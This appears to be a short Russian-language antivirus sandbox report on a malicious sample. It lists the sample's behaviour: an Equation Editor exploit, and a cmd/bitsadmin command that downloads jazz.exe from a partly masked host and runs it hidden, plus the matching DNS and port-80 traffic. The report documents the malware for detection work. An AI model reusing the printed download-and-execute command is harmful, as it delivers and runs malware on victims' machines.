Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /transfer sY /priority foreground http://tp#####tephenville.com/jazz.exe %USERPROFILE%\rW.exe && start %USERPROFILE%\rW.exe
Сетевая активность
Подключается к
- 'tp#####tephenville.com':80
UDP
- DNS ASK tp#####tephenville.com
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /transfer sY /priority foreground http://tp#####tephenville.com/jazz.exe %USERPROFILE%\rW.exe && start %USERPROFILE%\rW.exe' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\bitsadmin.exe' /transfer sY /priority foreground http://tp#####tephenville.com/jazz.exe %HOMEPATH%\rW.exe
